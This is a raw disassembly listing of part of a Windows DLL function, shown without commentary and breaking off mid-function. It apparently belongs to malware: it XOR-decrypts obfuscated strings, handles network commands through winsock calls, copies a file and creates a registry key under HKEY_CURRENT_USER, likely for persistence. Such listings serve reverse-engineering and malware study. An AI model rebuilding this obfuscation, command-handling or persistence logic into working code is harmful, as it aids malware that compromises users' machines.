mov rcx, r15
call fcn.180021ae5
lea rcx, [rbp - 0x30]
mov r8d, 0x98
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 - 0x68], 2
movups xmm0, xmmword [rbp + 0x2090]
movups xmm1, xmmword [rbp + 0x20a0]
movups xmmword [r15 + 0x20], xmm0
movups xmmword [r15 + 0x30], xmm1
lea rax, [0x1800cd65b]
lea r13, [rbp + 0x2300]
mov qword [r13], rax
mov rcx, qword [r13]
movabs rax, 0xe1f5b1d703e7648
mov qword [r13], rax
mov rdx, qword [r13]
call fcn.180004b21
and dword [r13 + 0x10], 0
xorps xmm0, xmm0
movaps xmmword [r13], xmm0
xor edx, edx
lea rcx, [0x1800dc352]
cmp rdx, 0x10
jae 0x18000c958
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rbp + rdx + 0x2300], r8
add rdx, 8
jmp 0x18000c93c
push reloc.WS2_32.dll_recv
pop rdx
cmp rdx, 0x13
ja 0x18000c98c
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xc5000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx + 0x2300], r8d
add rdx, 4
jmp 0x18000c95b
mov eax, dword [rbp + 0x2310]
mov dword [rbp + 0x20a0], eax
movaps xmm0, xmmword [rbp + 0x2300]
movaps xmmword [rbp + 0x2090], xmm0
mov dil, byte [rbp + 0x108]
cmp dil, 2
jne 0x18000c9c1
lea rdx, [rbp + 0x2090]
push setsockopt
jmp 0x18000cea6
lea rbx, [rbp - 0x20]
movups xmm6, xmmword [rbx - 0x10]
lea r15, [rbp + 0x2160]
mov r8d, 0x128
mov rcx, r15
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0x129]
mov ecx, dword [rbx + 0x12c]
mov dword [r15 + 0x129], eax
mov dword [r15 + 0x12c], ecx
movups xmmword [r15 - 0x10], xmm6
mov byte [r15 + 0x128], dil
xor ebx, ebx
cmp byte [r15 + 0x28], 2
mov r15d, 0
je 0x18000ca1d
mov r15, qword [rbp + 0x2170]
mov rax, qword [rbp + 0x2180]
mov qword [rbp + 0x2468], rax
lea rax, [0x1800d9b6d]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x483680ab8005d174
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004c5a
xorps xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
and dword [rbp - 0x20], 0
lea rcx, [0x1800dc366]
mov rdi, qword [rbp + 0x2480]
cmp rbx, 0x10
jae 0x18000ca83
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rbp + rbx - 0x30], rdx
add rbx, 8
jmp 0x18000ca6a
push reloc.WS2_32.dll_recv
pop rdx
cmp rdx, 0x13
ja 0x18000cab4
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x63000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r8d
add rdx, 4
jmp 0x18000ca86
mov al, byte [rax + 0x14]
xor al, 0x79
mov byte [rbp - 0x1c], al
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x2300], xmm0
mov rax, qword [rbp - 0x23]
mov qword [rbp + 0x230d], rax
test r15, r15
je 0x18000d037
mov qword [rbp + 0x2478], r15
lea rax, [0x1800cd00b]
mov qword [rbp + 0x2300], rax
mov rcx, qword [rbp + 0x2300]
movabs rax, 0xfc41b154e0d7758e
mov qword [rbp + 0x2300], rax
mov rdx, qword [rbp + 0x2300]
call fcn.180004ab3
and dword [rbp + 0x2308], 0
and qword [rbp + 0x2300], 0
mov r9b, 1
xor edx, edx
lea rcx, [0x1800dc37b]
push 8
pop r15
test r9b, 1
je 0x18000cf6d
movzx r10d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 3
movzx ebx, byte [rdi + rcx]
mov rdi, rdx
or rdi, 4
movzx r14d, byte [rdi + rcx]
mov rdi, rdx
or rdi, 5
movzx r12d, byte [rdi + rcx]
mov r8, rdx
or r8, 7
mov rdi, rdx
or rdi, 6
movzx edi, byte [rdi + rcx]
movzx r8d, byte [r8 + rcx]
shl r8, 0x38
shl rdi, 0x30
or rdi, r8
shl r12, 0x28
shl r14, 0x20
shl rbx, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rbx
or r9, r14
or r9, r12
or r9, rdi
mov rdi, qword [rbp + 0x2480]
xor r9, qword [rax + rdx]
mov qword [rbp + rdx + 0x2300], r9
xor r9d, r9d
mov rdx, r15
jmp 0x18000cb33
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x2470], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x2430], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x2478], rax
lea rax, [rbp + 0x2300]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov r8d, 0x200
xor edi, edi
xor r13d, r13d
xor r15d, r15d
cmp r8, 0x201
jae 0x18000cc3e
lea rbx, [rbp - 0x30]
mov esi, 0x200
mov r12, r8
jmp 0x18000cc96
sub r8, r15
sub r13, r15
cmp r13, r8
jae 0x18000cc6d
lea rcx, [rbp + 0x2300]
mov rdx, r15
call fcn.1800d9580
mov rax, qword [rbp + 0x2300]
mov qword [rbp + 0x2468], rax
mov rdi, qword [rbp + 0x2308]
mov eax, 0xffffffff
cmp rdi, rax
mov r15d, 0xffffffff
cmovb r15, rdi
mov qword [rbp + 0x2310], r15
mov r13, rdi
mov rbx, qword [rbp + 0x2468]
mov rsi, r15
mov r12, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x1801670d0]
mov ecx, r12d
mov rdx, rbx
call rax
mov r14d, eax
test eax, eax
jne 0x18000ccc1
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x18000d04f
mov r8d, r14d
cmp r12, r8
jne 0x18000ccee
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x18000e8e1
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
jmp 0x18000cc27
jb 0x18000cc27
cmp rsi, r8
jb 0x18000e930
lea rcx, [rbp + 0x2150]
mov rdx, rbx
call fcn.1800ad4d0
mov rsi, qword [rbp + 0x2150]
movups xmm0, xmmword [rbp + 0x2158]
movaps xmmword [rbp + 0x2090], xmm0
mov bl, byte [rbp + 0x2168]
mov eax, dword [rbp + 0x2169]
mov dword [rbp + 0x22a0], eax
mov eax, dword [rbp + 0x216c]
mov dword [rbp + 0x22a3], eax
jmp 0x18000d060
lea rcx, str.Unknown_commands
push recv
pop rdx
call fcn.180014ed0
mov rcx, qword [rbp + 0x2480]
mov qword [rcx + 8], rax
lea rax, fcn.180014e80
mov qword [rcx + 0x10], rax
and qword [rcx], 0
jmp 0x18000ceb4
mov al, byte [rax + 4]
xor al, 0x24
mov ecx, dword [rbp - 0x30]
lea rdx, [rbp + 0x2150]
mov byte [rdx + 4], al
mov dword [rdx], ecx
push 5
pop r8
mov rcx, rbx
call fcn.180048430
cmp byte [rax], 3
jne 0x18000ce9d
cmp word [rax + 0x10], 0
jne 0x18000ce9d
cmp byte [rax + 0x12], 1
jne 0x18000ce9d
mov rcx, qword [rax + 8]
call fcn.1800ac3f0
lea rax, [0x1800d97f7]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0xcd3b6be4152ce1a7
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004b43
and dword [rbp - 0x28], 0
and qword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc336]
push 8
pop rdx
test r9b, 1
je 0x18000d49c
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000cdf8
lea rdx, [0x1800dc2a4]
push 0xb
pop r8
mov rcx, qword [rbp + 0x2480]
call fcn.180001051
movaps xmm6, xmmword [rbp + 0x2490]
add rsp, 0x2528
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rdx, qword [rbx]
mov r13, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov qword [rsp + 0x20], 9
lea r9, [0x18015e474]
lea r15, [rbp + 0x2438]
mov rcx, r15
mov qword [rbp + 0x2468], rdx
call fcn.1800b63a0
and dword [rbx + 0x20], 0
and word [rbx + 0x24], 0
and dword [rbx], 0
xorps xmm0, xmm0
movups xmmword [rbx + 8], xmm0
mov qword [rbx + 0x18], 7
mov al, 1
mov byte [rbx + 0x21], al
mov byte [rbx + 0x24], al
mov byte [rbx + 0x23], al
mov rcx, qword [r15]
mov r15, qword [r15 + 0x10]
mov qword [rbp + 0x2470], rcx
mov rdx, r15
mov r8, rbx
call fcn.1800b16c0
test rax, rax
je 0x18000d2f6
mov rcx, rdx
call fcn.180055c57
mov r12, rax
lea rsi, fcn.180055c7e
mov rdi, qword [rbp + 0x2480]
mov rbx, qword [rbp + 0x2468]
jmp 0x18000e696
push 8
pop r10
mov rdx, qword [rbp + 0x2478]
cmp r10, 0xb
ja 0x18000cfa9
movzx r8d, byte [r10 + rcx + 2]
shl r8d, 0x10
movzx r9d, word [r10 + rcx]
add r8d, r9d
add r8d, 0x38000000
xor r8d, dword [rax + r10]
mov dword [rbp + r10 + 0x2300], r8d
add r10, 4
jmp 0x18000cf78
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0x2b8b
mov word [rbp + 0x230c], ax
xor cl, 0x4a
mov byte [rbp + 0x230e], cl
mov rax, qword [rbp + 0x2300]
lea r9, [rbp + 0x2090]
mov qword [r9], rax
mov rax, qword [rbp + 0x2307]
mov qword [r9 + 7], rax
mov qword [rsp + 0x20], recv
lea r14, [rbp - 0x30]
mov rcx, r14
mov r8, qword [rbp + 0x2468]
call fcn.1800b63a0
mov rbx, qword [r14]
mov rdx, qword [r14 + 0x10]
mov rcx, rbx
mov r8, rsi
mov r9, qword [rbp + 0x2470]
call fcn.1800b25f0
test rax, rax
je 0x18000d38f
mov rcx, rdi
mov rdx, rax
call fcn.180001000
mov rdx, qword [rbp - 0x28]
mov rcx, rbx
jmp 0x18000d486
lea rdx, [rbp + 0x2300]
push reloc.WS2_32.dll_setsockopt
pop r8
mov rcx, rdi
call fcn.180001051
jmp 0x18000d48b
call sub.KERNEL32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov bl, 2
test rdi, rdi
je 0x18000d074
push 2
pop rdx
mov rcx, qword [rbp + 0x2468]
call fcn.180013220
cmp bl, 2
je 0x18000e8f9
mov qword [rbp + 0x1fd0], rsi
movaps xmm0, xmmword [rbp + 0x2090]
movups xmmword [rbp + 0x1fd8], xmm0
mov byte [rbp + 0x1fe8], bl
mov eax, dword [rbp + 0x22a0]
mov ecx, dword [rbp + 0x22a3]
mov dword [rbp + 0x1fe9], eax
mov dword [rbp + 0x1fec], ecx
lea rax, [0x1800d2b75]
lea rsi, [rbp - 0x30]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x6269c0527df9c5ca
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.18000495a
and qword [rsi], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc3ba]
push 8
pop rdx
test r9b, 1
je 0x18000d18f
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000d0ea
movzx eax, word [rax + 8]
xor eax, 0x99bc
lea rdi, [rbp - 0x30]
mov rcx, qword [rdi]
lea r13, [rbp + 0x2150]
mov qword [r13], rcx
mov word [r13 + 8], ax
lea rsi, [rbp + 0x1fd0]
push reloc.WS2_32.dll_ioctlsocket
pop r8
mov rcx, rsi
mov rdx, r13
call fcn.1800b2e10
mov rbx, qword [rsi]
mov r12, qword [rsi + 0x10]
mov rcx, rdi
mov rdx, qword [rbp + 0x2470]
mov r8, qword [rbp + 0x2478]
call fcn.1800abbd0
mov rax, qword [rdi]
mov rsi, qword [rdi + 8]
test rax, rax
je 0x18000d4ff
lea rdx, [rbp - 0x30]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], rax
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], rcx
lea rsi, [rbp + 0x2150]
mov rcx, rsi
mov r8b, 1
call fcn.1800b1ee0
mov rax, qword [rsi]
mov rsi, qword [rsi + 8]
mov qword [rbp + 0x2468], rax
test rax, rax
je 0x18000d4ff
mov qword [rbp + 0x2478], rsi
lea rcx, [rbp - 0x30]
mov rdx, rbx
mov r8, r12
call fcn.1800abbd0
mov rax, qword [rbp - 0x30]
mov r14, qword [rbp - 0x28]
test rax, rax
je 0x18000d4e1
lea rdx, [rbp - 0x30]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], rax
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], rcx
lea rcx, [rbp + 0x2150]
mov r8b, 1
call fcn.1800b1ee0
mov r15, rbx
mov rbx, qword [rbp + 0x2150]
mov r14, qword [rbp + 0x2158]
test rbx, rbx
je 0x18000d4de
lea r9, [rbp - 0x30]
and qword [r9], 0
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
lea r8, [0x1800c6c70]
mov rcx, qword [rbp + 0x2468]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileExW]
test eax, eax
je 0x18000e2ae
mov rsi, qword [rbp - 0x30]
test r14, r14
je 0x18000d2d7
push 2
pop rdx
mov rcx, rbx
call fcn.180013220
xor eax, eax
mov qword [rbp + 0x2460], rax
cmp qword [rbp + 0x2478], 0
mov rbx, r15
jne 0x18000d4f0
jmp 0x18000d4ff
mov qword [rbp + 0x2430], r15
mov qword [rbp + 0x2478], rdx
mov rcx, rbx
call fcn.18009edf7
lea r15, [rbp + 0x2300]
mov rcx, r15
mov rdx, rbx
call fcn.18009e7b9
mov r12d, dword [r15 + 0x10]
mov rbx, qword [r15]
cmp r12d, 0x3b9aca01
je 0x18000df43
mov qword [rbp + 0x2458], r13
mov r13, qword [rbp + 0x2308]
mov eax, dword [rbp + 0x2314]
mov qword [rbp + 0x2410], rbx
mov qword [rbp + 0x2418], r13
mov dword [rbp + 0x2420], r12d
mov dword [rbp + 0x2424], eax
lea r15, [rbp + 0x22a0]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call fcn.18009a8b9
cmp dword [r15], 2
jne 0x18000de47
push 2
pop rax
mov r15, qword [rbp + 0x22a8]
jmp 0x18000dead
lea rax, [0x1800cf865]
mov qword [rbp + 0x2300], rax
mov rcx, qword [rbp + 0x2300]
movabs rax, 0x60fb6491454437c4
mov qword [rbp + 0x2300], rax
mov rdx, qword [rbp + 0x2300]
call fcn.180004a5b
and dword [rbp + 0x2310], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2300], xmm0
xor edx, edx
lea rcx, [0x1800dc38a]
cmp rdx, 0x10
jae 0x18000d3f7
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rbp + rdx + 0x2300], r8
add rdx, 8
jmp 0x18000d3db
push reloc.WS2_32.dll_recv
pop rdx
cmp rdx, 0x13
ja 0x18000d42b
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x29000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx + 0x2300], r8d
add rdx, 4
jmp 0x18000d3fa
mov al, byte [rax + 0x14]
xor al, 0xda
mov byte [rbp + 0x2314], al
movaps xmm0, xmmword [rbp + 0x2300]
movaps xmmword [rbp + 0x2090], xmm0
mov rax, qword [rbp + 0x230d]
mov qword [rbp + 0x209d], rax
push reloc.WS2_32.dll_setsockopt
pop rcx
call fcn.1800cec71
movaps xmm0, xmmword [rbp + 0x2090]
movups xmmword [rax], xmm0
mov rcx, qword [rbp + 0x209d]
mov qword [rax + 0xd], rcx
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], reloc.WS2_32.dll_setsockopt
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
call fcn.180048dc8
lea rcx, [rbp + 0x2150]
call fcn.180003b4c
jmp 0x18000ceb4
push 8
pop rdx
mov rsi, qword [rbp + 0x2480]
cmp rdx, 0xb
ja 0x18000d4d4
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x69000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r8d
add rdx, 4
jmp 0x18000d4a6
mov al, byte [rax + 0xc]
xor al, 0xc0
jmp 0x18000c7e5
mov rbx, r15
mov rsi, r14
mov rax, qword [rbp + 0x2478]
test rax, rax
je 0x18000d4ff
push 2
pop rdx
mov rcx, qword [rbp + 0x2468]
call fcn.180013220
mov rcx, qword [rbp + 0x2470]
mov rdx, qword [rbp + 0x2430]
call fcn.180048dc8
cmp qword [rbp + 0x2460], 0
je 0x18000d530
mov rcx, qword [rbp + 0x2480]
mov rdx, rsi
call fcn.180001000
jmp 0x18000e3d8
mov qword [rbp + 0x2478], r12
mov qword [rbp + 0x2470], rbx
lea rax, [0x1800cf0af]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x3b6c244274230466
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004a8f
and qword [rbp - 0x30], 0
mov r10b, 1
xor r9d, r9d
lea rcx, [0x1800dc3c4]
movabs rdx, 0x6c00000000000000
push 8
pop r8
test r10b, 1
je 0x18000d61a
movzx r11d, byte [r9 + rcx]
mov r10, r9
or r10, 1
movzx r10d, byte [r10 + rcx]
mov rsi, r9
or rsi, 2
movzx esi, byte [rsi + rcx]
mov rbx, r9
or rbx, 3
movzx ebx, byte [rbx + rcx]
mov r14, r9
or r14, 4
movzx r14d, byte [r14 + rcx]
mov r15, r9
or r15, 5
movzx r15d, byte [r15 + rcx]
mov r12, r9
or r12, 6
movzx r12d, byte [r12 + rcx]
shl r12, 0x30
shl r15, 0x28
shl r14, 0x20
shl rbx, 0x18
shl rsi, 0x10
shl r10, 8
or r10, r11
or r10, rsi
or r10, rbx
or r10, r14
or r10, r15
add r10, rdx
or r10, r12
xor r10, qword [rax + r9]
mov qword [rbp + r9 - 0x30], r10
xor r10d, r10d
mov r9, r8
jmp 0x18000d584
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x2400], rax
lea rax, [0x1800ce164]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x8a591d57de6ed7e7
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004a78
and qword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc3cc]
push 8
pop rdx
test r9b, 1
je 0x18000d705
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000d660
mov al, byte [rax + 8]
xor al, 0xde
lea rbx, [rbp - 0x30]
mov rcx, qword [rbx]
lea r9, [rbp + 0x2438]
mov qword [r9], rcx
mov byte [r9 + 8], al
mov qword [rsp + 0x20], 9
lea rdx, [rbp + 0x2400]
push 8
pop rsi
mov rcx, rbx
mov r8, rsi
call fcn.1800b63a0
mov rdi, qword [rbx]
mov rbx, qword [rbx + 0x10]
lea rax, [0x1800cfd76]
mov qword [rbp + 0x2150], rax
mov rcx, qword [rbp + 0x2150]
movabs rax, 0x6ded32d8bacb584c
mov qword [rbp + 0x2150], rax
mov rdx, qword [rbp + 0x2150]
call fcn.180004c14
and dword [rbp + 0x2153], 0
and dword [rbp + 0x2150], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc3d5]
push 4
pop rdx
test r9b, 1
je 0x18000d7ec
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 3
mov r14, r8
or r14, 2
movzx r14d, byte [r14 + rcx]
movzx r11d, byte [r11 + rcx]
shl r11d, 0x18
shl r14d, 0x10
shl r10d, 8
or r10d, r9d
or r10d, r14d
or r10d, r11d
xor r10d, dword [rax + r8]
mov dword [rbp + r8 + 0x2150], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x18000d794
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x2a39
xor cl, 7
lea r14, [rbp + 0x2150]
mov edx, dword [r14]
lea r9, [rbp + 0x22f8]
mov dword [r9], edx
mov byte [r9 + 6], cl
mov word [r9 + 4], ax
mov qword [rsp + 0x20], 7
mov rcx, r14
mov qword [rbp + 0x2468], rdi
mov rdx, rdi
mov r8, rbx
call fcn.1800b63a0
mov r15, qword [r14]
mov r12, qword [r14 + 0x10]
lea rax, [0x1800cd31e]
mov qword [rbp + 0x2300], rax
lea rdx, [rbp + 0x2300]
mov rcx, qword [rbp + 0x2300]
movabs rax, 0x39a511afebb72f25
mov qword [rbp + 0x2300], rax
mov rdx, qword [rbp + 0x2300]
call fcn.180004d1e
and dword [rbp + 0x2308], 0
and qword [rbp + 0x2300], 0
mov r8b, 1
xor edi, edi
lea rcx, [0x1800dc3dc]
test r8b, 1
je 0x18000d93c
movzx r9d, byte [rdi + rcx]
mov r8, rdi
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdi
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdi
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rbx, rdi
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r14, rdi
or r14, 5
movzx r14d, byte [r14 + rcx]
mov rdx, rdi
or rdx, 7
mov r13, rdi
or r13, 6
movzx r13d, byte [r13 + rcx]
movzx edx, byte [rdx + rcx]
shl rdx, 0x38
shl r13, 0x30
or r13, rdx
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r13
xor r8, qword [rax + rdi]
mov qword [rbp + rdi + 0x2300], r8
xor r8d, r8d
mov rdi, rsi
jmp 0x18000d892
push 8
pop rdx
cmp rdx, 0xb
ja 0x18000d970
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xd9000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx + 0x2300], r8d
add rdx, 4
jmp 0x18000d93f
movzx eax, word [rax + 0xc]
xor eax, 0xbae0
lea r14, [rbp + 0x2300]
mov word [r14 + 0xc], ax
mov rax, qword [r14]
lea r9, [rbp + 0x22a0]
mov qword [r9], rax
mov rax, qword [r14 + 6]
mov qword [r9 + 6], rax
mov qword [rsp + 0x20], recv
mov rcx, r14
mov rdx, r15
mov r8, r12
call fcn.1800b63a0
mov rbx, qword [r14]
mov r12, qword [r14 + 0x10]
lea rax, [0x1800d18a0]
lea rsi, [rbp + 0x2410]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xf3b0991492c2afaf
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.180004ccf
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x314c
xor cl, 0x33
mov byte [rsi + 2], cl
mov word [rsi], ax
mov qword [rsp + 0x20], 3
lea rdi, [rbp + 0x2090]
lea r9, [rbp + 0x2410]
mov rcx, rdi
mov rdx, rbx
mov r8, r12
call fcn.1800b63a0
mov rdx, qword [r14 + 8]
mov rcx, rbx
call fcn.180048dc8
lea r12, [rbp + 0x2150]
mov rdx, qword [r12 + 8]
mov rcx, r15
call fcn.180048dc8
lea rbx, [rbp - 0x30]
mov rdx, qword [rbx + 8]
mov rcx, qword [rbp + 0x2468]
call fcn.180048dc8
mov rsi, qword [rdi]
mov rax, qword [rdi + 0x10]
add rax, rsi
mov qword [rbx], rsi
mov qword [rbx + 8], rax
and word [rbx + 0x10], 0
mov dword [rbx + 0x18], 1
mov rcx, r12
mov rdx, rbx
call fcn.1800d5d6a
and qword [rbx], 0
and dword [r14], 0
mov r15, qword [r12]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rbx
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test eax, eax
je 0x18000dac9
mov r14, rdi
shl r14, 0x20
or r14, 2
jmp 0x18000dacd
mov r14, qword [rbp - 0x30]
mov rdx, qword [rbp + 0x2158]
mov rcx, r15
call fcn.1800d616a
test edi, edi
je 0x18000dafb
mov rcx, qword [rbp + 0x2480]
mov rdx, r14
call fcn.180001000
mov rbx, qword [rbp + 0x2470]
jmp 0x18000e3bd
lea rax, [0x1800ceca1]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0xd6a30242a1ee7afc
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004ad3
and word [rbp - 0x2c], 0
and dword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc3ea]
push 4
pop rdx
test r9b, 1
je 0x18000db8d
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 3
mov rdi, r8
or rdi, 2
movzx edi, byte [rdi + rcx]
movzx r11d, byte [r11 + rcx]
shl r11d, 0x18
shl edi, 0x10
shl r10d, 8
or r10d, r9d
or r10d, edi
or r10d, r11d
xor r10d, dword [rax + r8]
mov dword [rbp + r8 - 0x30], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x18000db3a
movzx eax, word [rax + 4]
xor eax, 0x8058
mov ecx, dword [rbp - 0x30]
mov dword [rbp + 0x2428], ecx
mov word [rbp + 0x242c], ax
lea rax, [0x1800cf97d]
mov qword [rbp + 0x2438], rax
lea rdx, [rbp + 0x2438]
mov rcx, qword [rbp + 0x2438]
movabs rax, 0x90e40fd6bba81a4e
mov qword [rbp + 0x2438], rax
mov rdx, qword [rbp + 0x2438]
call fcn.180004b8f
and dword [rbp + 0x2440], 0
and qword [rbp + 0x2438], 0
mov r9b, 1
xor edx, edx
lea rcx, [0x1800dc428]
push 8
pop r12
test r9b, 1
je 0x18000dca8
movzx r10d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 3
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r15, rdx
or r15, 5
movzx r15d, byte [r15 + rcx]
mov r13, rdx
or r13, 6
mov r8, rdx
or r8, 7
movzx r13d, byte [r13 + rcx]
movzx r8d, byte [r8 + rcx]
shl r8, 0x38
